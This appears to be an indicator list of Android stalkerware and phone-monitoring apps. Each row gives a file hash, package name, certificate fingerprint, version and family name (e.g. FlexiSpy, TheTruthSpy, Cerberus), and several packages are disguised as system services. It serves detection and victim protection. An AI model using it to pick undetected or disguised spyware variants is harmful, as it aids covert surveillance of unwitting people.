+909faeaebf4a55a8e4a6141c1f385f2f7d038188ada376f22feaa6a09dc9ed8c,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,127,MonitorUltra +ba667c1adb22fdfed6b08584297adb677d5b937478e3052c4ea879ca01663f31,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,108,MonitorUltra +bc137981085a51fe1a1dcbb9e90a4d1595dfcaec5cf1afeb737ad009dd1d4178,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,124,MonitorUltra +c6c3e7044725e55bf5a030b1331b10a48dd607d7223c74cf4bc41d25d0a74c07,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,124,MonitorUltra +d21b4957dae0be1341fa9ba8c8cff85fba31fe4e1af112e4b6c1befd6128e80d,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,123,MonitorUltra +d6d8eff1d75ef137a3375d2bee75e17a5a6a5903a243bb9d8739416ee35b4042,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,20,MonitorUltra +e46d1e50ceebdc2675537167e9ee7a25d65c5667cd9c5edbfb9c01f721ca349c,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,106,MonitorUltra +f23a8fe48ede5a405bddbeedd7bcc62ff899f05f509e771a4252dbf2a6d62bbf,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,21,MonitorUltra +f5eeace70bb735695e563191c85719782ae718f3699cd6c510ccb267def718da,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,127,MonitorUltra +f7a056d30fb9b268ff71cc928cd240be77c173d2284187e792613ea146dc7307,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,123,MonitorUltra +bc0e80e127b69476a7af69f53a00d744f15c3f460baabf1f1a8876792fccd314,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +a1c210acafdae2b0ebbb4baf00d9ef523ed408c2fee782c91a0e3a63e7d3809d,com.thewispy,BFF94895A64AEB38B5278BC41B1DB242CD82DA62,13,TheWiSpy +020d95aff3bbdc311a4b7301aab866de1be4aed53b67bfd73c1dfed9503dbc3a,com.qpbowavl.dbqhyjcw,18EE0AB78224D817C2FC57FABAACC796C3C9F890,1,VipTelefonProgrami +7734bef11d2f3e168d5333671b6db69a8caea54eee2843a1b885f37b3aa80fe3,com.mnwkvijy.wzyxgrft,3953D3E3040FA50BCE09A08804ADC9CC643037F1,1,VipTelefonProgrami +db0d35258209a923bdc690786d0833c1498723a87dab94ec2ba3e7147de073a8,com.ovcmgvyi.eemutqqz,8DDF33489547A1F249FA744749AB6559966B78F1,1,VipTelefonProgrami +4d43ecaadc57910cd8df8ee7c280e411dba3089efe760cd5d001098e3e052cf3,com.shadyspy.monitor,91ED4F75A763A63471E1D1D39BA012DF867550D4,114,ShadySpy +c1e13d5848d621627dc6ca7b0194265cfc4e506860492747f08e853530443a54,com.shadyspy.monitor,C44894EE63F2E861A6960834A21EB27169150722,100,ShadySpy +e65a703f4d43dcabbe902e991fbad02b3eb4cd0e741528b1b50cc47347305103,com.shadyspy.monitor,91ED4F75A763A63471E1D1D39BA012DF867550D4,111,ShadySpy +ac75e69ce4cf35ca8dc492f25ff3bad6fd9ce1a46412dbf5a559f9234003fbcb,com.systemservice,E6502D8A870C3F3910EA34F5B46D20D923047580,8,Copy9 +2f4c694c0cd43327da1d20781fa2e4a6e4467432b09c6050b0446007576a0f4a,app.spy24.systemwifi,79C395148C34F0826E04B37A6632A53A7977A1AA,1,Spy24 +780afa15f99c85055f93bff4ad40c5f4a7d7252cbc7dc1716c8db866d2a3ff53,app.spy24.systemwifi,79C395148C34F0826E04B37A6632A53A7977A1AA,1,Spy24 +b264075a58febc9c89a534723c543750e5f1df23aea03eafebba4b0ff8823599,app.spy24.systemwifi,79C395148C34F0826E04B37A6632A53A7977A1AA,1,Spy24 +e01118a89e9a8bab0a36b93ad15caf1432fc615afa61d7dccd99773debeba818,app.spy24.systemwifi,79C395148C34F0826E04B37A6632A53A7977A1AA,1,Spy24 +e22b036ac5a5b3ab78f236d51a40428cfcebff35a49cc28f075a63527a1c1783,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +a8f53b99ff5159699e47ca6d4344866e249887326d5ee19360dfe9ee820a44c0,com.ots.antitheft,28393DBA55F5B08294D1E54962BE1648C1EFB4A2,3,AbsoluTrack +2cc4e9ceea8d398f051fbd2deb3fc2e7936b607ccb18cc940a526eb8cb5060e8,com.ots.womenchildsafety,5D655F30DE8B8BDABCCDF660582C6369145E7A5A,14,AbsoluTrack +c9c69ce4363f62b3255bffbd6872de9856d654994c10e5a75da517f68742561e,com.ots.remotesecurity,8851279B5177EF52B0B8540EE1FCED4BABDFB318,3,AbsoluTrack +ce1632fe353d6e17e263378b4148308c5853e59813cd02a72c6eb54ab814a4c2,com.gss.whereismyphone,40159690AF08A01670E3FA07A021F7B1C1437042,33,AbsoluTrack +1fd194b70894584bbb2d9f727663c29ab703a4dcb1eaff91e35af3817fe51dc4,com.ass.antitheft,C9BE6C42B975258DEA10EB6946A7986E4FE955E2,65,AbsoluTrack +64a27fac8b598f6e7bc79eabdc960c29290db1872fdc04319e7947e9f5661af7,com.ass.ladieschildprotection,C9BE6C42B975258DEA10EB6946A7986E4FE955E2,34,AbsoluTrack +605964ddbaa59bf4953d7ae8b8ce247b0654694f12af99652fee824e21be8b76,com.ass.remotesecurity,C9BE6C42B975258DEA10EB6946A7986E4FE955E2,50,AbsoluTrack +a36637a317d9d927ba6e784592d1da974a07d82d168b4cbc82d6c0b718278060,com.ots.remotesecurity,5D655F30DE8B8BDABCCDF660582C6369145E7A5A,6,AbsoluTrack +c002b5ea002542055462150cf5b42e69b6ae34bb7b7b9247113986effe0eef91,mobile.protect.children2020,CD1509A1F52B58F9A0BE6EC2F53E1376B7FED210,459,MobileTrackerFree +e2833eff791982dbcd38cea8b68cb54f04b96a6842796727ad9f359cd86937e2,com.smart.guardoffline,D1BB66A93F621A66094F28856988C7A2AE9972D0,101,AbsoluTrack +08c352c93f8b61905635b02c344538631636562a395e8394e6cb569015036847,com.lhsat.wlvpfwzx,31F709893D6DF26E797D7BAFCCDF7880C48BE384,20366,MyCellSpy +7b6216005c45b9d12cb12921340bd5db6a9eb7b0684e6db456a02d04ceb9b908,com.android.internet.a20220729,0C422F0025F866C311DF61A7549FCD519683898D,306,iKeyMonitor +267db01a354384d06d3108c8c7122e1dab03bf2364a3493b3b2f1a92a1e7d9ee,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3751,TrackView +51af8a022a29df350e1f6287c25ccd9a50cfdba33cfa3d8ac946298046e0b8be,city.russ.alltrackercorp,43D45CE7BEE36E449434C14973B7D285209414C7,85,AllTracker +00fa503b424e90e4556e4dadab20293d279bf893c34ca988d76e3d1e540c5d59,wosc.cwf,A6FD2FA04910643D2D2FB8C74BC305574D6FF6D1,11,CatWatchful +91b76ed0a4005d5cbb6e59d454d21368040093f721d07c8f5c3e2abe7ad19ddc,com.jyotin.ct,5F43A60BFC663FB37F419A40015495431649310B,27,CellTracker +2fdb988c774b0499099d1818d8ed5a8b2b9d27880b885211e9a7dbf5c2fe32a1,com.jyotin.ct,5F43A60BFC663FB37F419A40015495431649310B,27,CellTracker +d1c55e0d5b14d535b09ba8fa7f507a88ef8f08120a49aa333ca4d4a2d8f918c4,com.jyotin.ct,75F77553C54AEA66B000B5CE0B884DFCB9379458,18,CellTracker +fbf73d0d2ad2491b7086fd13ea1378002ca0950a777172f90d320c879ce70753,com.jyotin.ct,5F43A60BFC663FB37F419A40015495431649310B,26,CellTracker +08cd793840d56aac534f46fd468cbd6e5209116c006ff046f58ee3018d6fd17d,com.jyotin.ct,5F43A60BFC663FB37F419A40015495431649310B,25,CellTracker +f7c612a24cde80de65d92273ce35d85c95275fd97f653b71e3a7d2151f3b45bc,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283670,Cerberus +90a0b5a532734653239bf2709d8d1cf3f9a6bb43d0fbff1fd872c6ddab37198e,com.lsdroid.cerberuss,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,283690,Cerberus +eb7f8d93c28a35a88020f950864ad347f9700864f03838591bc126416dbc59a5,com.lsdroid.cerberuss,69C28343A4D0F2156D7B56AE4616E1386173A047,283680,Cerberus +7193cdd49b786ad7c837257b7f451f5da8d4b9dc5e35b706361994b72318fc10,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,62,Cerberus +2e06a17b2f2410e54cd8a830ea8dbb1bb5fd14e55b3ee31b971d82e9ac5ab55c,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,30,Cerberus +23edea9968a85b9b7fd8637a06312a376a529d6db55abca70a191e71c82b81b2,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273550,Cerberus +1d9ed7d93e4a84865da85196f220fbe7da684cb965e3d497d99ed02ff24da566,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,62,Cerberus +15d84d734ea5feaee6221dd9bbfd26ebe93a3d663c4aff02940c9bca3c464d52,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,28,Cerberus +9818505c5bd59787507394c1bdca6a8420d5ad23a269db324f0773e6a8eecaa0,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,82,Cerberus +9bc87b3228185cf54a2d5be5da23820c2ee88962546402a88755219c4f084997,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283670,Cerberus +9f23de045919828b23bc093e33249860939350f0800148e9f8e1b48ffa4f113b,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283620,Cerberus +b7def7aa2f1efd31194492451f32be88836b61035738b441ae6f416f9cb9cee9,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283660,Cerberus +6f3cf212099992f1e810721e61259d2035743469d31bf21633f399532dcda63d,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283650,Cerberus +6e2d0dde40dc8afb8a3fc5005f15fe79da60db989436545d20616b10824a17d1,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283661,Cerberus +494ac65f3cc919ca2324ce53123bf24e66780da71c494bac0ee0aca84a4d11d2,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283630,Cerberus +d6f03f6950a15a60ce52357430755255d381a625d41dd791e62b58bab983f1f0,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283640,Cerberus +de45510a354a6f6e479acf13cb3857576ba32e1613d744b64b04f0ea14987efb,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,70,Cerberus +b3fb79d7235abd7c01a4d4d204baf6b31d2da1a45370fa00acbe40b916e040b2,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273600,Cerberus +ebaaf97580389dc501d317fa582196f1c530c770491a8b1a17028cfeaf971811,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273590,Cerberus +4e5bc1dba5530f53144df8f2325d9c3c66ffea8646b5678ab88492ca56a15e41,com.lsdroid.cerberuss,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273560,Cerberus +3b15f7bc5c4a773f7c1d5889dd9070a5d8e8f926a6e456eb1e60338aa1855345,com.lsdroid.cerberus.persona,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,281250,Cerberus +98c2fe30c335bcd89c2ca4eff4b3ec92184344c5a498b01cb48534bbff7b32f8,com.lsdroid.cerberus.persona,409B589FDEAE073A94D609E2B41A6C0EA952B35A,281260,Cerberus +3fde4af34b9d436e87918c31388086e1a498f45990198da603bd051635830f0d,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291120,Cerberus +c47536b476ce3f78e856de261cf80150eb0e330fb5f0aa84829a41bac8658153,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291110,Cerberus +203e8ecb5a4b9efbc5a15e598ab1b3227814a50ab49bb0d80fd47e4d8ebed502,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291130,Cerberus +59978b1dc7227708a05add05d752b7cccdad2b9fdc8e0009f247619015796d95,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291120,Cerberus +4aa64965d1c1e2e1dd1acf4c3d604af5de50fcb1235ff1709216a28b0882abc9,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291110,Cerberus +04b5f3df56e473b9d936535e784b8d6eddc45d12031608c54d098450c00cbff4,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,281100,Cerberus +6f6ea7265d007a7206c9e2434ae9a7092fab73f80840b266be87d54c234cbff3,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291120,Cerberus +414e1b4af56a923d7c61608fc909610f321787ef841ba6ec5b32e0daef2b215e,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,281100,Cerberus +1301d019bd48c4874944b5897cbe9b1f0593d324ad413c818692a76af36b4e01,com.lsdroid.cerberus.kids,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,291120,Cerberus +f41fa15a2f0f89c96ff292d0f64caecaa17fd5fadc566e4918e5ab6bcdd6e12b,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,15,Cerberus +dc86f2ac1741ba158c7a7949347d801eb71c1b6f1da7fc991978f6b4a02b6bdb,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,9,Cerberus +4a445c9d1263b4349121466f0883864392cbc246bab34e0ee2bbe4cbb1faedd1,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,14,Cerberus +a7f4e8107365877e88b3cc70c334ae959f84d08e7ea8da663ace1ebc41212c5c,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,12,Cerberus +8700ee8ba1a5dfbfaf8a31b0f9c3750ab3054977c9bac5ac14a4feca4a40bc9b,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,8,Cerberus +046d45f815ba13432d393d58842e70f87124a89d77b87d6c0fb6581cc60eab74,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,2,Cerberus +390152f181af51b3bbfde605eecafc3a7f816ce2f94554e8590d638b0c4e094f,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,13,Cerberus +5e5d37d253fe2f6fe951c864574b0a41375d0d3e045a8b4a5860daab61bfc1d4,com.lsdroid.cerberus.client,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,12,Cerberus +7af5da575ef4aab70f6c1eace5ac224a7abf61d1aa10c68239c3ec6237e9a58f,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273596,Cerberus +cb576cb72bd89024c477591f3f409d8b7442187c3eaa01c96fc010d83fa8de75,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273602,Cerberus +3ea0a03485b81c507fa2cdf5b1e59db92117ad07c36653b1f9e8b35b048ab2f1,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273602,Cerberus +a2d93e6833f2d520f0f94c9e319ee995e1182147d587e74620dcba949d134da8,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283670,Cerberus +8dbc12619d968342ec4ebbdfcc58f18e0904ad79d53ebb56445c29b31f9f6c26,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283630,Cerberus +325143730618dc75a5801736072483973c9b96451e30de2be3620eb48a0eab7c,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283670,Cerberus +134ec5be40cff4267996caa0d0112ab90fd4d5ac7c57a5fe823ed024e8af8558,com.lsdroid.cerberus,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,2836901,Cerberus +3f99642f097d882c0ed84ca3e3cd1a5bc71addbeae9a8382b3d536e78b959445,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273601,Cerberus +7ecb4970eb7c4e570aa8611e8bdd094b6372ed03b815149c1bcd4b5be67eaf5a,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273602,Cerberus +ccb7fb6f3d46b752e028a642f03891b8c64ffd538a28a3e089f547a4ae3050f2,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273540,Cerberus +ec32249ef4d671f4320c343c6ddcff2c2767a055a41e29a6c7aaf866310dae9b,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273602,Cerberus +5eef3c6c8c5d19a070029be8030af6b37a10d3f1daa643e1156dbce0bbf30ca0,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283640,Cerberus +a6e1ed8a10db9f522c14da5e32eefb59f4e559ecc2de434242f157542fc8d7dd,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283650,Cerberus +69bc10d678014dd31013ed7ad63f79166344e37e0c93a1f26d929eb5a57be5c8,com.lsdroid.cerberus,724C6500F11737C12C0B89185A60427989656697,283680,Cerberus +14d6ef76cf0202162553f1dc09c83abd3ca48845ac0e6604e104887cdb8a6008,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,283620,Cerberus +67623c4c5ae742a48f832f373637709553c786b44af632120b48189de93c8d67,com.lsdroid.cerberus,724C6500F11737C12C0B89185A60427989656697,283680,Cerberus +a07519e35578e06abea58b877be6b51fab3e21ac1c0697e7d4d4dce2956168ad,com.lsdroid.cerberus,D122D9ADC3E5D5FF346B32C0413F5CF3A3CC4658,283670,Cerberus +17286a07d28d5322c3fc327b310d06864d46ce1dbb442dd9c458d7dd43042525,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273601,Cerberus +20ac33ae8111ccc34bcf7a7a33053d181a394dbf53e791dffbf78032184b97a5,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273602,Cerberus +2f091196126df6461ff0e659e04f48b98bb6dccab30833dcae4f0b9d603a00de,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,36,Cerberus +30a04f90abe86750f5d63af04408ab5d5caf4197780f5087e46aae466f5f223b,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,61,Cerberus +21906fd407287ee32a1d72582d039878a1778707b3c640028bd820fa5e973a45,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273610,Cerberus +296cac079673fa68d20d5880dd006f30ee0579ffb24a60b44d30ca3cf8fe2a06,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,41,Cerberus +18d8df481f25012c7997847dea274190e73b6d513ed90381b7dca23c63c820ac,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273530,Cerberus +1d59ebd8ef23a5bc501c503b234a8524ac1aa7689cae3bcb58aa8997470566ed,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273550,Cerberus +1d35b2e66894572c23fd22274aec55f7386e7ba4d6f9f421b36205237d455520,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273594,Cerberus +1c8dd2ee7c332951b69de477c2fa95e727bee57a60ac0d6567f18b292f6efd21,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,42,Cerberus +0ffb1824ae4ebe89792e49a7516eb0cb5edd459725c53828405717769d913520,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,77,Cerberus +0f050fe6731bad4a1144b35bf71f11940504a3bbd925c32ce014f040b3fdf7d4,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,56,Cerberus +bd9062afe3ac12c5c5cdc964349536007880869221cbf5dd94b46a926afdddd4,com.lsdroid.cerberus,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,283670,Cerberus +489b6a49d868a32ca3b019f64f2bd26d77a876cbb53cdb72b145c26adba667b4,com.lsdroid.cerberus,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,18,Cerberus +c3638ca8c45d7a5c495a68d32fa0fd09df2687ce91c91813b3c9ff4c352adac0,com.lsdroid.cerberus,8D07EEDBCCB907C7977E9EE6A97BEDF54CD1CE30,273599,Cerberus +107c79b245dce3d1352f5b9b4c24336c6dd84041458f6bf5a4e522148ec37ddf,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273598,Cerberus +a3e19b106287edb6fd9204f176bbac37467d0e72f9c987cd2c69085aff3bc213,com.lsdroid.cerberus,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,283670,Cerberus +b5203ccda246412f86334687f61bee49226c836eb4c2b772ea6c086d4593be6a,com.lsdroid.cerberus,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,18,Cerberus +14c414d2892a76f19671406d24cb12db3af3106c5925b5732b26c73c3a97e2c0,com.lsdroid.cerberus,09DCEB70D91DE79335B6C143D05F9A6B6DE9E59C,18,Cerberus +0ba5d45eafffd7e2feae9a2a9af61b7fa89550927664810f67db2dd7ed803851,com.lsdroid.cerberus,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,283670,Cerberus +a177e2d78c6156f9bda619c823411eae7006bce89105a66c40a6c1d28efd2993,com.lsdroid.cerberus,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,283670,Cerberus +c00adefe81b8519bfde28b4268e3fb0e7678fe8af884f40ce612bb3e682a5da7,com.lsdroid.cerberus,77765CF1DEAA404D28F8B9D0C0A8AA99CD6FEE13,273599,Cerberus +dbf16231002ec4d6b938ab1d13f9be65f311ae50b88ef7650df5e63e64d9201d,com.lsdroid.cerberus,44C9DF98C8E036379655D986DFD73A9EC3422A34,273599,Cerberus +21b9ee90d26b44f4044fd53567cddfe6d17317ee8ed9d6131f92b2a56ce36478,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273599,Cerberus +002cd8c6e3f67b6b8563b7164bb06a5b0235635d6a5b53357a75016d01aeed27,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273601,Cerberus +663fac6c8596e6e330a281ec72f2eed59a70247f123b0c0ad00c7b728b543294,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273560,Cerberus +d958a3505ad55fb55f9381d3e14201b68dbab38754ddb741fbf32d6aa493e9fe,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273592,Cerberus +dbccb5de6c125a90effc42f15fdf6de9cf867ae519fb181354ac318cb92d3d91,com.lsdroid.cerberus,BC693B48B7EC988E275CF9E1CDAA1447A31717D9,273594,Cerberus +1f1256b972e981c110499005408a3c958f2dc384acc550ae41a4975e4ba845c2,com.ass.remotesecurity,1C6E171D3A6E51947DF9E83946BB115ED4A41C6A,44,AbsoluTrack +289ce92449f253dd853338ffe9172bc66afd757d88f19c28375709bd869644e7,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,116,EasyLogger +2929f77cd59baf6ea8f759b3c5284075b8daa60b04c5b3333a1be1f857f19ec0,com.sec.android.internet.im.service.im20210815,9284CB43B87E9F9C77DA509F1672E884BD6CA876,309,iKeyMonitor +a8b8190a1d7f54dfc26b73c0915f9cf15df57a7812b805857f6fd6314dfdcb51,com.android.internet.a20220829,98ED5841256A44FB1525FE154C0516ACED82FFF3,309,iKeyMonitor +729e706200803df2e11690cfc55e946eef62471293f2de2bc6bc57fa0b580286,com.fp.backup,740A101CF05B94DE006F4B8C224B8F11048CD001,1,FlexiSpy +9b989e458d1f1e921a779308f5b00b0142b13b27b956643c84a4484f11850620,com.fp.backup,BE9AC5E68C8EF65454315F453B88284D2AE57A88,1,FlexiSpy +99b36b155f432d5b36b46f294cda426b08a1a5cca0796ccd418b15e070448fd3,net.reptilicus.clientapp,9BD494107EFED96F630D29D6E18AE4DCC47149E2,160,Reptilicus +b8a8cd0dc022ad8b36d2c474d12aa1fa07ded7e601ec0aaa38a2aba9c23c73e8,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,78,Traccar +92494377b8e0d98530be32d58e35e8c0dd43b28a9774669adb852e84332a4aa9,org.traccar.client.hidden,AA752803419B66BC6D5CFCD61A7C88935FFE5511,78,Traccar +a7ed24a3142962727a2e215c284777a709fd38f3dc6006cd7a802d95f1f14cc3,service.download.app,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,21,MobileTrackerFree +3126ef39783b476ecf5ab14d5993afe899edf720638e409226afa23a9dbc384c,br.com.daggers.gameap,18C94FAB82F77F89546600F84D2D2B48A0C0B927,505,MeuSpy +a9e7510882e75011edf12d6a3350fb679e84ff29774e767ac1721d92dd11954c,com.google.android.bacfup,4474D3395029E6C6744A470EE5F2107DBAEF16A0,220920,Tracku +3d916c4b0f60c745011b8a5c764cfb444d225339c89517b1a2a8542ac225c80d,com.app.com.app.com.app.aplintal,0AF3219D3A9525CB4A618215DB7A29CBFD9FFE78,505,MeuSpy +d1b5e6af98dfa2c8e1ceddf4eb4d8c533db415cbea5047c6bd3ec041ae642a36,com.sec.android.internet.im.service.im20210815,9284CB43B87E9F9C77DA509F1672E884BD6CA876,310,iKeyMonitor +34be41a01b632ca4b4b011b80cbaf381f0e81e76f94e5024b8fbeb44969df419,com.android.internet.a20220914,ACB2CA50376456FD81B5C6C19CF6D717CFBB888B,310,iKeyMonitor +f8b29c1a9d041bd40d125e429c361abac9173e185c438f888b2e6fd185300055,com.fp.backup,0B6C1B010FBEA4316EB01602F71CDD6A8F365023,1,FlexiSpy +79db438fad26a902b5b51cfb768ef52e1bd8570b576a622f69b563cfb4a6ad70,com.fp.backup,636F6FE622D3059B569C9989F3CD491607F23A5D,1,FlexiSpy +081b0b7663883932114e0007fcce08c1460375e38568149c5f635cf075af6a88,nojbuq.fijqeip,16226330EBB138A5D47913151827A86567AD9CD4,1013,AndroidPolice +e1b06c6e54e7c8ba1ea0579e2751785b554ec0af000d47168483002cdd37878b,br.com.sistema.aplicativo,6B1DC3EAE0E8C59E7769A6E0A1BAA1938620A191,480,MeuSpy +7c23dbb945d27b2f60d1c68f51337fd3b155e97ff623dab884918866858403c0,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,79,Traccar +5f24c673cfefd9d4e6a3ff578b4d27ef5d0e61e200d70df178e5f1903bccdda9,org.traccar.client.hidden,AA752803419B66BC6D5CFCD61A7C88935FFE5511,79,Traccar +d91db72387809da2ed0b3c48bb8b2729e31d0bc3901f195eb331b2cdf1bdf11e,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +54d53ff4baf1efd654a2e3463cf551d06337146db516142aab1bee8fa901489e,com.avi.scbase,934A3C0DC8912C4F2F8620F666FC7621BD7B97B8,31,pcTattletale +6db8dfaf7c15c37328fdd30aea6807a38147e1676f259059387af1bcaa1a88b6,service.download.app,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,22,MobileTrackerFree +6b9a62be13f91df54c555f43b6e1243d8b7b9f3345c44fee95dbc0c9fe0e35b6,com.tag.viptrack,5A73C8FE7CBA5C9E70B0DF69B3A111C42A10B215,9,VIPTrack +0f0cf9791c98c84cd758b6a18760dc5118ec59c6fff9f8d279a09790084ff1a1,com.mit.networkadapter,437940A417B58B1C2CDB85EDE4D37C3DE6EFDC95,2,VIPTrack +bcf96117b47fac6666eec22664c721546b45dcf42857f49277d1cb7e8f90b70a,org.system.kernel,14A071616D4BC37F08BE865D375101F4C963777A,44,OwnSpy +db872af401506c44cfb9d8fabda8ddd000f6a0692896fa7a113bd8f5e9217aac,com.fp.backup,284E4AF2E92E8E49EDC2C8792D7008759813CB68,1,FlexiSpy +af66f53ec62cfd40fbf5970e647eaea9344b00e3071ca826dd5069f7368b9c89,com.fp.backup,FD7E83B4494EC3E7C81776C2C822A5B0B31CFA9C,1,FlexiSpy +34bf0057814bd39e2f4a2f1a7c5215753404e7268c28ea912278d0a144b68418,kenkbltcf.pwpwkvdwmjk,3BA583488F36C708025C078D9EB4BEDC3918B098,1013,AndroidPolice +1b95c23a70e9c71313db73af0d4b8a283cbd6575caae99c46d59da3a1d6695fe,com.google.android.bacfup,4474D3395029E6C6744A470EE5F2107DBAEF16A0,221019,Tracku +147d59d853429661fec7c0020fd06cfd6a49a3b4dcfd9e412800f58854c655d6,com.fp.backup,95D628751588863D7DDC8926B30A5908BD72496B,1,FlexiSpy +a311e0267409c0a8035d8b030eb97ce6ec7d750f231ed394db595aeee528c2fb,mgag.rmbclay,6C1F9BB76A8E53066499FEE971999C8BA258DC1C,1013,AndroidPolice 